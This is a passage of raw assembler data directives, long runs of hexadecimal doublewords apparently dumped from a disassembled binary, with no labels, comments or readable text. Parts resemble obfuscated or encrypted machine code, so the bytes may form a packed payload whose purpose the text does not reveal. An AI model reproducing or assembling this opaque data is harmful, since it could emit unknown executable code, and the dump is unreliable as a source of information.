		dd 271CC2E0h, 0DEA8FBD5h, 0B53214FFh, 0ED8044C6h, 0C4351FD8h
		dd 0D6DF7BB4h, 5C9F2144h, 8E8C4B7Fh, 38BA53BDh,	63C74139h
		dd 0EC9D6E38h, 0A416053Ch, 0EF99FB80h, 42E3AFCCh, 0A2A61616h
		dd 0BD586A4h, 623CF82Dh, 82CAB1B9h, 5A83284Bh, 333BF722h
		dd 21581548h, 915585CFh, 0C0ECBFCh, 0D4E4D53Fh,	5E6AAF1Bh
		dd 753665E5h, 2116B6CEh, 1CAC7EE0h, 66127723h, 0A2E88DADh
		dd 0AA0F2B65h, 12F3A019h, 0A925E03Eh, 0E45D54F6h, 27E0A87Ah
		dd 316A1E73h, 0F5664E8Bh, 6790DBB7h, 3E1F361Eh,	23279A4Dh
		dd 0C8Dh, 9ABECD00h, 28E64FACh,	0C85F4F89h, 0C90249E0h
		dd 0E35C6C41h, 0BC750267h, 53943B9Eh, 69A2D2B7h, 3FF88CE1h
		dd 0D415A61Bh, 0E82F5336h, 807F0F62h, 0CC68B99Ah, 8900004Eh
		dd 0EC83243Ch, 24048904h, 81E38953h, 4C3h, 4EB8300h, 5C241C87h
		dd 0B8241489h, 59787678h, 0A2D642Dh, 0C1D8F703h, 0F74805E0h
		dd 268405D0h, 20505A8h,	81377776h, 4ECh, 24248900h, 4240481h
		dd 5A000000h, 8904EC83h, 2C812404h, 95532224h, 8428F01h
		dd 22084281h, 0FF019553h, 815A2434h, 4C4h, 2434FF00h, 4C48158h
		dd 0E9000000h, 0FFFABBA9h, 0FFC145FFh, 90B8111Bh, 30AE8C3h
		dd 1E0FFC5h, 0A016A6AAh, 7B48063Ch, 7544A262h, 986AEFBFh
		dd 5A308AE0h, 0F763B35Bh, 1F35CDF0h, 0C72419A1h, 7C41FAF1h
		dd 0F300A052h, 405F09DEh, 2765B172h, 0B501EEDEh, 954039FBh
		dd 50241BADh, 281CCD12h, 9F28E9BEh, 0B2F1AB62h,	8B05BF70h
		dd 1C79C334h, 0A5FF1271h, 49825184h, 6C302F84h,	0AED2BFF0h
		dd 6D1EBB04h, 94127B89h, 3E3F133Eh, 0DD30122Bh,	37D9C2BFh
		dd 78301236h, 0BB3000B4h, 0DD3DFB34h, 7DD71234h, 9D385F4Ch
		dd 0D938A7A4h, 5E9F40C0h, 0D31DF89h, 0F33F123Eh, 0BB30121Dh
		dd 3561125Eh, 0EE301237h, 2EF34B14h, 0BF145EBDh, 0D91456B5h
		dd 0EE301223h, 0D2F34375h, 527FCDDDh, 0DD3010A4h, 7AD79352h
		dd 0EB59F9Fh, 0DD3AFAF0h, 8D758A8Ah, 0EE389A3Bh, 27611234h
		dd 0E1011D66h, 0D9B9486Ch, 0EE3AFA10h, 61271234h, 90DD3C8Bh
		dd 0B26EA135h, 20F69352h, 0F2BD4CE2h, 0B1D8D66Fh, 0DD3000DDh
		dd 2597ED34h, 57121FC9h, 0B448A7B4h, 90BAA220h,	58A89426h
		dd 0FC568233h, 0E96042C7h, 0DD3001DCh, 0C1C59B34h, 2E6467EBh
		dd 7ACEC924h, 0CDFF1CF6h, 0D4C10705h, 786A0C82h, 0BB20FA05h
		dd 0F78E1234h, 0DA48E674h, 0DD7330DAh, 7AC4B516h, 9D8AC62Ch
		dd 0B71195E6h, 21A04A6Eh, 6962CDB5h, 216F1A3Eh,	0FC0D87CBh
		dd 0FCC818D7h, 6B3EAF4h, 0D7D3375Dh, 6D396734h,	94299F89h
		dd 0A244123Eh, 1DBB4164h, 0EE34688Ch, 0E2B59B34h, 363AF119h
		dd 38EDD7A9h, 0B5E3ED3Eh, 0FA8D916Ch, 0BB3AF12Dh, 8E600540h
		dd 0EE34688Ch, 0E2B59B34h, 363AF119h, 38EAA6A9h, 0B5E3ED3Eh
		dd 568A746Ch, 7CAAAB81h, 0D7D93883h, 0F7301234h, 0EC6B98BAh
		dd 0E697A3C7h, 35F09987h, 0EE301232h, 0B21B1347h, 0E1C85423h
		dd 19538FB9h, 515618DCh, 0F2BDC0BCh, 0B1D8B725h, 3566125Eh
		dd 0EE301237h, 29F34C14h, 0BF1466BDh, 0D91456B5h, 0EE30122Fh
		dd 5CF34472h, 4E6961CDh, 0BDD40C4Bh, 17B1E7B4h,	78E0ED55h
		dd 0BB3006B7h, 0D3B21D34h, 7301234h, 7730123Dh,	0D877E82Bh
		dd 54C8BF71h, 0E1F0191Bh, 773056B0h, 36517234h,	3E7E7CA9h
		dd 0EBBE1D3Eh, 0CE301234h, 0DF6299B6h, 0DD30118Ch, 0B8307834h
		dd 773011DCh, 786E3234h, 0F9449B6Ah, 0CA749330h, 77300A30h
		dd 78665434h, 58133CA9h, 0EEBD1DC2h, 11301234h,	44E7738Bh
		dd 0B6AD9FD7h, 5C3AFAF0h, 66B59F84h, 0DB3AFA91h, 13B17454h
		dd 0E15114DCh, 773010B3h, 0DAF19934h, 6256C2CBh, 2E3BFB0Dh
		dd 772C963Bh, 4561234h,	40BD3A0Ah, 0E4D35C5Ah, 7688FABEh
		dd 0E9301234h, 0A367948Dh, 0DCF4D39h, 0EABD0E81h, 0B1D8D644h
		dd 0CAEE9352h, 0FFB59F8Dh, 1D3AFA91h, 0B8D84234h, 0FD301234h
		dd 6768D16Ch, 0F6343670h, 0A0343670h, 9D301234h, 4A13D164h
		dd 0B5862C48h, 0C3F6109h, 0BBE0EDC5h, 83C5F5B5h, 0F33FD23Fh
		dd 0BB301270h, 3562125Eh, 0EE301237h, 2DF34814h, 0BF1446BDh
		dd 0D91456B5h, 0EE30122Fh, 5CF34076h, 25C1A381h, 50D0CD40h
		dd 0D7E7CA9h, 71B81D3Eh, 3A301234h, 0DE9D43EBh,	0EE33AA2Ch
		dd 1D8A1234h, 441F3C8Ah, 0EBB74D7h, 0BC307877h,	773011DCh
		dd 786A3234h, 0F9649B6Eh, 0CA749330h, 77300A30h, 78625034h
		dd 8ACBBE91h, 0EE39FAE0h, 542C1234h, 0E2747947h, 0D2D28314h
		dd 0EE3013BDh, 0FA6AE734h, 53F44B89h, 1CBD9F3Eh, 563AFAF3h
		dd 0FD7B4E49h, 0A8159707h, 121B18D7h, 9F32FBF5h, 0FAF0B6ADh
		dd 9F845C3Ah, 0FA9166B5h, 7454DB3Ah, 14DC13B1h,	83B3E151h
		dd 0A4F305E9h, 8166C08Bh, 0FF420F1h, 28Ah, 6A79B600h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 81A6C353h, 510F36DEh, 6AC38B46h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 0C7C8C350h
		dd 0B2C5254Fh, 50C08BAFh, 2EFA0FB9h, 0BD835F25h, 0AE32569h
		dd 83097500h, 0E3198DBDh, 1974000Ah, 0C08B5350h, 47AB8h
		dd 19858900h, 8D0AE32Fh, 0E5DE2C9Dh, 5BD3FF0Ah,	8DBD8358h
		dd 0AE319h, 53501774h, 47AB8h, 19858900h, 8D0AE32Fh, 0E5DACD9Dh
		dd 5BD3FF0Ah, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 525D54E9h, 83130EDEh, 8DC08B3Dh
		dd 0E8C9818Dh, 51006A0Ah, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 14622C3h, 0CED08C80h
		dd 84DA8166h, 798D8954h, 6A0AE314h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 2C5CC357h
		dd 0E3E85691h, 6C985C7h, 6F840AE3h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 8BEDBCC3h
		dd 0E31C3195h, 0D9BA660Ah, 6985C7D1h, 0AE300h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 0DCAAC357h, 850BC863h, 0AE31AD9h,	8C1B5FFh
		dd 830F0AE3h, 5, 9FEA8166h, 0B595FFB2h,	0F90AE326h, 95FF006Ah
		dd 0AE31CD1h, 3CEBC08Bh, 0E523CE08h, 21DE8FABh,	420FF65Ch
		dd 81624F0Eh, 68F62FD6h, 2FC8FEB0h, 0DF530368h,	0C3B3F489h
		dd 0EE7123FAh, 6BE94995h, 48F7ADCAh, 0C93B7C4Fh, 994965D0h
		dd 0B3DA1FD4h, 15641369h, 0DFB6C08Bh, 2569BD83h, 75000AE3h
		dd 8DBD8309h, 0AE319h, 53501974h, 0FCB8C08Bh, 89000003h
		dd 0E32D9585h, 0C59D8D0Ah, 0FF0AE5DDh, 83585BD3h, 0E3198DBDh
		dd 1774000Ah, 0FCB85350h, 89000003h, 0E32D9585h, 0B49D8D0Ah
		dd 0FF0AE5DAh, 0BA585BD3h, 678E42C0h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 0F7C35343h,	8EA803CFh, 0FDE8B66h
		dd 0C08BDAB7h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	69C35141h, 969B90F0h, 0FD8AEAE9h, 2269BD83h, 0F010AE3h
		dd 9484h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 880F601Dh, 18h, 13E9h, 0C6966E00h
		dd 6FC62B6Ch, 25B1C1BFh, 3B9050F7h, 81ACEB7Dh, 0BE9h, 0D3786900h
		dd 7B562233h, 69FB7E13h, 0CDBD8361h, 0AE301h, 3B850Fh
		dd 20BA0000h, 83682990h, 0E3218DBDh, 840F000Ah,	0CFh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 92C35343h, 81666011h
		dd 6694A9DFh, 0F07FE981h, 40FE961h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0F651A7C3h
		dd 0EA8166EAh, 8F0F245Bh, 3, 0D3B70Fh, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 89C2C356h, 0FD97DB1h, 0E950D1B7h, 0Dh, 0A33DF268h, 0A850FFD0h
		dd 0E8D690B5h, 6A5B63h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 11EAEBC3h, 61B8C65Ah, 11E95Fh, 39130000h
		dd 3E80C381h, 0AE082152h, 0D0F9B697h, 36F330F5h, 357EC345h
		dd 6809BFFAh, 0CF3754CAh, 0D1B83F86h, 0DE5A88F0h, 0CEB2D9F0h
		dd 0FEEB1AA9h, 3AB6FDBCh, 0C4B6FDB4h, 0AFB2D9F0h, 8AB51AA1h
		dd 284BD2E1h, 226D66FFh, 0BEB2B320h, 77B2DA18h,	78EAF9F0h
		dd 0F9F650A8h, 0CAF658F4h, 77B2C0F4h, 78E299F0h, 49AD97FDh
		dd 65D456A2h, 77B53126h, 487AD9F0h, 0D8636BBCh,	0BBA162EBh
		dd 9EE9C295h, 0BBB2DD09h, 0DDB231A5h, 6FEFD9F0h, 9F7EF91Dh
		dd 0EDB2B3FAh, 0DDB2DA18h, 2DECF9F0h, 53C650AEh, 9FF658F4h
		dd 0DDB2CEF4h, 2DE49FF0h, 0C4C76539h, 0BBB2D619h, 0D53F89F0h
		dd 3A89605Ah, 0E449A131h, 0D1C672FCh, 0DDB152FFh, 2432D9F0h
		dd 7872521Fh, 5222004Fh, 0DDB2D9FEh, 2765919Fh,	40FA9624h
		dd 98AE5D37h, 35E2B283h, 0EEB2D9FEh, 0E334BF2Dh, 0A5B6DA7Bh
		dd 0DD1B6E33h, 0BCE23AA5h, 46BDB890h, 0E3E883A3h, 0DDD849ABh
		dd 0EEB131A0h, 2F92D9F0h, 0FF3B8133h, 9933DDD4h, 0EEAFDDD4h
		dd 27F2D9F0h, 8394E533h, 98D70DFFh, 885C9E4Fh, 78BB444Bh
		dd 459695F1h, 35E4D99Ah, 0EEB2D9F3h, 297187D0h,	0BF96AD79h
		dd 0D9969D71h, 0EEB2D9E5h, 0F7718FB6h, 0DD6B525Ch, 0B7EA0E7Bh
		dd 0ED5A8CF0h, 57B2D9F0h, 32EF1AADh, 5CB6FD9Ch,	0F3B6FDB4h
		dd 32B2D9F0h, 0C6CC1AA5h, 7BCC1D00h, 24039578h,	77B2DF19h
		dd 347B1F0h, 0BB4075D6h, 0EBD8BD4Ah, 77B2DBFCh,	53E2D99Ah
		dd 0DDB2D9F3h, 0B67181D0h, 73969D79h, 0BF969D71h, 0DDB2D9EBh
		dd 827189B0h, 8B721924h, 3A7EE495h, 7683F922h, 54BA52C5h
		dd 4E507AB5h, 47FA5296h, 7AFD144Ah, 0EEB3618Ah,	0FCD4D9F0h
		dd 0BD5B482Eh, 43B2D9F0h, 4FCAAE44h, 0FEBD89F0h, 0BBB2D9F6h
		dd 0DDB257FFh, 5423D9F0h, 4089369Bh, 476B5596h,	0D2B61806h
		dd 0EEB3ED75h, 27B2B3F0h, 0BBB2DA18h, 1EEAF9F0h, 0CAF650A8h
		dd 53F658F4h, 0BBB2CCF4h, 1EE299F0h, 65BDED27h,	77B2D9F3h
		dd 0E2541B70h, 35E7D99Ah, 0EEB2D9F3h, 2A7184D0h, 0BF96B579h
		dd 0D9969D71h, 0EEB2D9E4h, 94718CB5h, 0B4DAE070h, 0DDB3EF75h
		dd 50D4B9F0h, 630C70AEh, 0DAFBCEA3h, 5595896h, 0EFCB52CCh
		dd 0C87E094Ah, 0BB4D58F4h, 0D232D9F0h, 0EEB3CB72h, 20B2B3F0h
		dd 0BBB2DA18h, 1EEDF9F0h, 0CACE50AFh, 53F658F4h, 0BBB2C5F4h
		dd 1EE59EF0h, 0BA6CA1DEh, 43B61818h, 0BBB531EAh, 90E0D9F0h
		dd 9A4D4D9Ah, 77B831BEh, 74B5D9F0h, 9A45ABE3h, 0E3982466h
		dd 5FEC3A71h, 0E0E9C024h, 16875C37h, 0EEB3D318h, 9FD2D9F0h
		dd 0BBB2D9FFh, 46741664h, 0A44EF64Ch, 880A1D0Ah, 6A2678h
		dd 0A1397748h, 3039BFAAh, 772D3091h, 0BBD8D9F0h, 0DDB131A7h
		dd 0B192D9F0h, 0B3B8633h, 0FF33DDD4h, 0DDA9DDD4h, 0B9F5D9F0h
		dd 216A333h, 2209A4FBh,	59BD88F6h, 0EEB2D9F6h, 45063B71h
		dd 52E9CBB1h, 0DDB2D997h, 0EEB2D619h, 0FC1ECCF0h, 0E5F7E3ABh
		dd 2953A439h, 0B1A0055Bh, 0B415896h, 0BBD88006h, 0DDB131A3h
		dd 0B592D9F0h, 2B3B8233h, 0FF33DDD4h, 0DDAADDD4h, 0BDF1D9F0h
		dd 2FAFF433h, 3ABDFF2Bh, 0DDB2D9F3h, 88636EFFh,	88B9A073h
		dd 0BBAB5DFFh, 5CD4D9F0h
		dd 0BED0122Bh, 77B05EFFh, 0DAD2D9F0h, 0E8371EABh, 0EFB8313Bh
		dd 3FB2D9F0h, 0D584600Ch, 583FF15Eh, 0E45A0892h, 0B881647Dh
		dd 4389D318h, 0D282DE84h, 5F51021h, 20B2B305h, 0BBB2DA18h
		dd 1EEDF9F0h, 0CACE50AFh, 53F658F4h, 0BBB2C5F4h, 1EE59EF0h
		dd 6D0DF823h, 0E3B8BFF9h, 0BBD825AFh, 0DDB131A0h, 0B692D9F0h
		dd 333B8133h, 0FF33DDD4h, 0DDA8DDD4h, 0BEF2D9F0h, 0D7C46C33h
		dd 37515356h, 0FFDB6473h, 0E1B3D313h, 77B2A774h, 0EEB2B3F0h
		dd 0DDB2DA18h, 2DEFF9F0h, 53DE50ADh, 9FF658F4h,	0DDB2C5F4h
		dd 2DE79CF0h, 18772A9Fh, 34694634h, 0D93ED67Eh,	88B2D9F0h
		dd 0F4B8D14Bh, 58B3144Dh, 58BDD9FAh, 0EEB2D9B3h, 9FE4D99Ah
		dd 0BBB2D9F3h, 837187D0h, 0EA96AD79h, 73969D71h, 0BBB2D9EDh
		dd 67718FB6h, 0CC05CF2Fh, 40B02602h, 1B08BFD1h,	500F5A9Eh
		dd 0EEB83AD1h, 778A5DFFh, 35BDD9F0h, 0DDB2D9F2h, 6FD46F43h
		dd 9E6B4F1Ah, 0BBB2D8F9h, 35E4D99Ah, 0EEB2D9F3h, 297187D0h
		dd 0BF96AD79h, 0D9969D71h, 0EEB2D9EAh, 0AA718FB6h, 94D8AF8Fh
		dd 67D4C64Ah, 5331D687h, 7D51FB99h, 0F37D6F1h, 0B7B2D9F0h
		dd 0ED5A8EF0h, 57B2D9F0h, 32ED1AAFh, 5CB6FD8Ch,	0FAB6FDB4h
		dd 30B2D9F0h, 0E6BC1AA7h, 35E1D99Ah, 0EEB2D9F3h, 2C7182D0h
		dd 0BF968579h, 0D9969D71h, 0EEB2D9E4h, 0FB718AB3h, 53382590h
		dd 0DDD81A91h, 0EEB131A2h, 2D92D9F0h, 0EF3B8333h, 9933DDD4h
		dd 0EEA9DDD4h, 25F0D9F0h, 7B9A2E33h, 8398ED24h,	805B2CB0h
		dd 1DB2D9F0h, 0B85A8BF0h, 0FDB2D9F0h, 67E81AAAh, 0F6B6FDA4h
		dd 0A6B6FDB4h, 9FB2D9F0h, 89F61AA2h, 0D0527CDEh, 0DF4DDD32h
		dd 0DDB2D018h, 0C81CB0F0h, 5FB715BAh, 32BDDD2Eh, 0DDB2D9E2h
		dd 0EEB2D419h, 75D3BCF0h, 0E24CFA49h, 7BE244FAh, 0B3E83BCAh
		dd 1D7D257Ah, 0B85A8EF0h, 0FDB2D9F0h, 67ED1AAFh, 0F6B6FD8Ch
		dd 0ADB6FDB4h, 9AB2D9F0h, 0C1E71AA7h, 0DE0F544Fh, 36B8313Bh
		dd 3563F67Dh, 0B2AF61FAh, 0F281A2CAh, 0B151DFB5h, 607316DBh
		dd 0F15ED584h, 892583Fh, 647DE45Ah, 0D318B881h,	0DE844389h
		dd 1021D282h, 5E983F5h,	0BD83A4F3h, 0AE8CB35h, 8D0D7400h
		dd 0E34E6E8Dh, 1B80Ah, 0E1FF0000h, 0D1BB6640h, 0BE883h
		dd 68CF0000h, 69F80DA3h, 440961FAh, 6A5A57h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0EE9B6C3h
		dd 93000000h, 0AE1D93FAh, 30ABFD2h, 0BA95F9B5h,	0EE80522Dh
		dd 0E8835B48h, 8BD98B2Dh, 0BD83F8C0h, 0AE32569h, 83097500h
		dd 0E3198DBDh, 1974000Ah, 0C08B5350h, 3FCB8h, 19858900h
		dd 8D0AE32Fh, 0E5DE2C9Dh, 5BD3FF0Ah, 8DBD8358h,	0AE319h
		dd 53501774h, 3FCB8h, 19858900h, 8D0AE32Fh, 0E5DACD9Dh
		dd 5BD3FF0Ah, 51006A58h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 76CA8160h, 0E968E591h, 0Ch, 4E3299BFh
		dd 0E4724ED6h, 5D0E4044h, 0E8C08BF5h, 0Ch, 0B8A8BDB7h
		dd 243FAE3h, 0BB6E1DD3h, 0D880Fh, 8E90000h, 0D3000000h
		dd 0FDEE29ACh, 58AC2A32h, 81F6B70Fh, 5D1CC0h, 6CFDB900h
		dd 0BF6A41h, 8B000000h,	850F3814h, 3, 81DBB70Fh, 969AB2EAh
		dd 0F18B6670h, 3F30F281h, 11E9450Ch, 27000000h,	723295A1h
		dd 5D9082A0h, 7EB1B876h, 100D2B09h, 3FF6EA81h, 0EE97E1Dh
		dd 35000000h, 1D61C655h, 5EDC9724h, 457ED5C2h, 0AE9525Ah
		dd 48000000h, 3E7FD5EDh, 0B1E5A157h, 38048F81h,	0EE8h
		dd 0C14D5300h, 63ED9637h, 17623DABh, 0FE2DD4Dh,	384h, 0F2BF0F00h
		dd 0F50535Bh, 5959CAB7h, 8102EF83h, 18B96FC9h, 0B94F4F7Bh
		dd 594E9023h, 0A3DCFF81h, 850FFFFFh, 1Ah, 25E9E6B1h, 0C8000000h
		dd 5303682Fh, 0B3F489DFh, 7123FAC3h, 0E94995EEh, 24B3CA6Bh
		dd 0FFFF42E9h, 14EB85FFh, 38B29D4Ch, 77DEAD7Bh,	0D4228D8Dh
		dd 6A0AE8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 54E783C3h, 48B0F83h, 66000000h, 89BDEDBAh
		dd 0E314798Dh, 52006A0Ah, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 0BA65E319h, 60F3C09Dh
		dd 80F6B70Fh, 0C7611BCBh, 0E306C985h, 5F340Ah, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 0BA6636h, 6985C760h,	0AE300h, 9000000h, 0E31FBD8Dh
		dd 29B5FF0Ah, 6A0AE305h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 7EBBC356h, 768BF9D3h
		dd 0FFC38AAEh, 0E326B595h, 57006A0Ah, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 0FF006A8Bh
		dd 0E31CD195h, 0EBC08B0Ah, 5809CD4Dh, 0C004DD27h, 0E35F8B90h
		dd 2F124CD3h, 55904AF2h, 92C84BF3h, 64EF0EA2h, 0C8790131h
		dd 28B634C0h, 0B4BD2B19h, 8ED918ACh, 1845A44Ah,	2FDB7FD8h
		dd 912617A5h, 43457188h, 0DB188EF7h, 4AFF6AE6h,	93F545FBh
		dd 86B97F86h, 8D8D2EB5h, 0AE8D4EBh, 6890FF5h, 8B000000h
		dd 0E331F1B5h, 798D890Ah, 0C70AE314h, 0E306C985h, 67640Ah
		dd 0F0B70F00h, 6985C7h,	0AE3h, 0B5290000h, 0AE3228Dh, 2E91BD29h
		dd 0B5FF0AE3h, 0AE31B71h, 0D6F78166h, 0B595FF90h, 6A0AE326h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 7BB2C351h, 667D447Fh, 6AC28Bh, 1CD195FFh
		dd 0C08B0AE3h, 73D758EBh, 60770C7Fh, 0ED51CCB6h, 0B39E16A4h
		dd 8D37DEEDh, 40407695h, 2EC2A1AAh, 30C15CDAh, 0A281B6EFh
		dd 3B28D89Bh, 3F909495h, 7EE086AAh, 0F6C85FAAh,	94FC4103h
		dd 0ACD916F9h, 54BEECFh, 0AA202C3Dh, 46023C01h,	0DBF59D61h
		dd 0E4244C2Dh, 0D0B112C6h, 43E6E27Dh, 9E864CEh,	4000000h
		dd 0FFE6109h, 4D1AFFBAh, 3C99D8Bh, 0E95E0AE3h, 0Eh, 0BC5B35CFh
		dd 80A8556Fh, 8CEAEC6Dh, 0C6814482h, 72ABh, 0B8D2BF0Fh
		dd 1C70h, 11118D8Bh, 36FF0AE3h,	33199529h, 605F0AE3h, 12E8h
		dd 3BE5200h, 75115F49h,	0E1FB36F6h, 0AE28350Ah,	0F7A13F7h
		dd 81h,	8F0F5800h, 6, 168D8D8Bh, 81610AE3h, 57331CF7h
		dd 0D958B5Ch, 810AE32Dh, 0F37C71EFh, 558D896Ah,	810AE311h
		dd 79BD51C7h, 5E87Ch, 0DE9D0000h, 9C4C9E7h, 0E31BB99Dh
		dd 3E89590Ah, 0CE8h, 0DA999700h, 69D55FEDh, 0F246955Dh
		dd 999D8B1Bh, 5A0AE331h, 6604EE83h, 8B3CB81h, 1E881h, 850F0000h
		dd 13h,	11558D8Bh, 1BE90AE3h, 63000000h, 0F057B7B1h, 0E90A3A7Eh
		dd 0FFFFFF56h, 485F2A17h, 24407AA7h, 0B6C16A88h, 18E9AC73h
		dd 0CF000000h, 493B97h,	4 dup(0)
		dd 0E9000000h, 0C33h, 0E8D7EE68h, 7FBEE90Ah, 0D68FFFBh
		dd 0E90AE8D9h, 0FFFB7FB4h, 0E8DAAE68h, 7FAAE90Ah, 0CC68FFFBh
		dd 0E90AE8DBh, 0FFFB7FA0h, 0E8DED968h, 7F96E90Ah, 2C68FFFBh
		dd 0E90AE8E0h, 0FFFB7F8Ch, 0E8E10D68h, 7F82E90Ah, 21DDFFFBh
		dd 0FCD9E91h, 1DBBE86Fh, 0F8B5E679h, 0EDA0F174h, 0DA2EC245h
		dd 0BBBA46F9h, 0B2B551F6h, 8F8E4AE1h, 9B9A3EDAh, 323923C4h
		dd 65366560h, 0E179C58Eh, 0DDCE2F39h, 0CC8D9B3Bh, 0F8B04899h
		dd 0E8A9A75Fh, 0F05136D7h, 4E35E368h, 53C11441h, 414E35DCh
		dd 9097C61Bh, 0C4682277h, 691AD9B6h, 90C74AF0h,	38D1DF9Ch
		dd 94526B5Bh, 4131A64Ch, 7EA1E28Eh, 0AC3348E2h,	4A4AB84Bh
		dd 56EC44ADh, 3B7EC4EBh, 59C0B32Dh, 90344C30h, 15863D79h
		dd 2E894317h, 48000000h, 7617A5A6h, 0AD2EDCEAh,	17F4294Bh
		dd 0A5A36702h, 0C9ABC114h, 4C314F46h, 0CCF316B2h, 8E863EDBh
		dd 2F94A4CBh, 2243162Ah, 0DEh, 40D8CDF1h, 362F243Ch, 3568414Eh
		dd 0BC5CADF0h, 4E5101Ch, 4E3557DCh, 7E5BAC41h, 0E478B7DFh
		dd 3E1767BAh, 85E2487Bh, 0BE71C215h, 8D405532h,	7566BE5h
		dd 0F8A03869h, 0FD9D3D6Ch, 0A8D0E67Ah, 0EC8C414Dh, 0E078292Ch
		dd 4E9CCC0Dh, 85C61E33h, 0B27996E4h, 49F7309h, 14C95BD1h
		dd 857DE784h, 0B04BAC72h, 6566EA6Dh, 0E4AAB657h, 91568E6Fh
		dd 0DC11A15Ch, 8F33EA3Fh, 9C24DB88h, 687185A2h,	2795536Bh
		dd 0A12h, 0D42BD797h, 2639C587h, 3C33D375h, 0F0EAE6Fh
		dd 181FA35Ah, 0F8B794F4h, 3A4F548h, 0FC9FCC43h,	0F088D95Ch
		dd 0F196D528h, 655EE46Bh, 93701336h, 3686FDCDh,	289CAD04h
		dd 49F9B405h, 41E63390h, 6AF68B85h, 414D92E5h, 9998CF12h
		dd 956830C8h, 0C2822770h, 0A5A6F693h, 4B917617h, 414E35C4h
		dd 59DE0AF3h, 9E414E35h, 36D5065Bh, 0E54A4392h,	3557DC04h
		dd 5D80414Eh, 2F78760Ah, 78CD4BADh, 6E333DC5h, 0CE41232Dh
		dd 3A4C314Fh, 6830C8DDh, 4CE80345h, 43162B17h, 0FA71EB48h
		dd 804C3143h, 3143D358h, 85D1044Ch, 0A95A0D50h,	0F9000000h
		dd 9029E179h, 0F4B5B3F4h, 5EBF8939h, 0E792E368h, 4F9EEC39h
		dd 4D389D35h, 11B95141h, 9389F91Eh, 1CB811D0h, 0BF5BA8FFh
		dd 7629621Bh, 38D9BCAh,	18BC5A4Ah, 0C43A26C7h, 0F14BACF1h
		dd 0F26ECFACh, 4C31397Dh, 313067BAh, 48EEBEBFh,	0BCF1808Ch
		dd 0F0BE05DFh, 0A4F9568Eh, 871BD2C7h, 6CE324E4h, 46F0803Fh
		dd 6B68CD23h, 0F3BD63C9h, 74000008h, 643508B8h,	520706A6h
		dd 4C1D10B4h, 3B68EF8Fh, 9779FC84h, 55DD90B3h, 2CE881D2h
		dd 39E17829h, 35D57526h, 4E9A7332h, 36655CC9h, 79AC150Eh
		dd 763B3AC6h, 0DA3736D2h, 2F39E179h, 3B3ADE7Ah,	7E4B4A9h
		dd 0AD2F15DDh, 939DC04Bh, 0CEE9146Ah, 2B9B7499h, 3140CC74h
		dd 0C058A9FCh, 0B4540518h, 0AB861814h, 0D9DDAD80h, 0CB6F0823h
		dd 0BAEF080Fh, 0AEF37D01h, 0CA8E2A7Fh, 0F54BDD2Dh, 56F7A1C9h
		dd 9B8C6907h, 0A1659FDh, 0DFB53808h, 0B0BBEE02h, 8E9B7018h
		dd 952420CCh, 0DA7E2342h, 20BC363Eh, 0EA5D18CBh, 9F944C2Dh
		dd 0D8DFB537h, 0D3F65285h, 0C5580098h, 0A244F494h, 12576AE2h
		dd 0C0882075h, 500D979Dh, 55BAB40h, 0FFA4BFCBh,	0D10B0C53h
		dd 0EA1470BDh, 0FF5C3D60h, 9890EE65h, 0A1F429EAh, 4F4D0E82h
		dd 1C13C9AEh, 52EA9891h, 92C713B7h, 749E4A43h, 84F4F76Eh
		dd 0D751F593h, 0D2075382h, 0B256D85Ah, 84CF57Bh, 4AEE55E1h
		dd 66B3FDD8h, 62D518A4h, 4F5h, 9D168BDh, 41632DE6h, 0E58212CBh
		dd 0AD2A6B7Fh, 21CF124Bh, 6504D3CFh, 1AC6A7A8h,	29012515h
		dd 2ECA1F42h, 88DFE26Ah, 3B9E7E4h, 0E041267Bh, 0FE76F6B7h
		dd 26E874BBh, 0D733601Bh, 152F692h, 0E761A24Eh,	0BB50601Dh
		dd 40090EDAh, 0EB4E33E4h, 7D19C3C4h, 303E4316h,	6A34E8D8h
		dd 0B7C876C5h, 489071D6h, 3EC739C3h, 2D7EA1F4h,	194ACD8Dh
		dd 9B7CEC81h, 21A88A7Eh, 768BCC88h, 0D94B2FCCh,	1D832983h
		dd 752h, 946B17D7h, 0E67905C7h,	0FC7313B5h, 0CF4EEEAFh
		dd 0D85FE39Ah, 38F7D434h, 43E4B588h, 3CDF8C83h,	30C8999Ch
		dd 31D69568h, 655C242Bh, 0D3B05336h, 2F39E179h,	7328DC7Ah
		dd 59E5A6CBh, 0F6498ACFh, 10956h, 0A2A6FB00h, 926E3912h
		dd 1BEED6Fh, 5FA95914h,	1E45CB1Ah, 11B60AC9h, 93h, 12A2A6C0h
		dd 0CE862075h, 0F062FE9Fh, 90414E35h, 36222933h, 55414Eh
